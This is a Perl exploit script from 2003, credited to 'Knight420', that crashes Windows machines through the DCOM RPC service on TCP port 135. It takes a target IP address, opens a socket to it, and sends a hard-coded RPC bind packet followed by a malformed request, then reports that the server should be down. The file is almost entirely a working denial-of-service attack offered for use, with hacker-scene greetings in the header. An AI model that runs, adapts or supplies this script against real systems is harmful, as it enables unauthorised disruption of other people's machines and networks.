#!/usr/bin/perl -w
# ================================================================
# Microsoft Windows DCOM Remote DOS
# By: Knight420
# 07/24/03
#
# [Tested]
# Win2kPro with full updates caused the machine to need a reboot!
#
# [DCOM]
# The Distributed Component Object Model (DCOM) is a protocol
# that enables software components to communicate directly over a
# network in a reliable, secure, and efficient manner. Previously
# called "Network OLE," DCOM is designed for use across multiple
# network transports, including Internet protocols such as HTTP.
# DCOM is based on the Open Software Foundation's DCE-RPC spec
# and will work with both Java applets and ActiveX® components
# through its use of the Component Object Model (COM).
#
# !W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!
#
# Gr33tz to: sorbo #open #darkircop
#
# (C) COPYRIGHT Blue Ballz , 2003
# all rights reserved
# ================================================================

use IO::Socket;
if ($#ARGV<0)
{
system('clear ');
printf "\n***********************************************";
print "\nMicrosoft Windows DCOM Remote DoS by: Knight420";
printf "\n***********************************************";
print "\n Usage: perl dcomx.pl ip\n";
exit;
}
$bind = ("\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00");
$own = ("\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", PeerPort=>"135"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
printf "\n***********************************************";
printf "\nMicrosoft Windows DCOM Remote DoS by: Knight420";
printf "\n***********************************************";
printf "\n*** [1] Server is up...";
printf "\n*** [2] Sending our elite code...";
print  $connect "$bind";
print $connect "$own";
printf "\n*** [3] Server should now be crashed\n";
close($connect);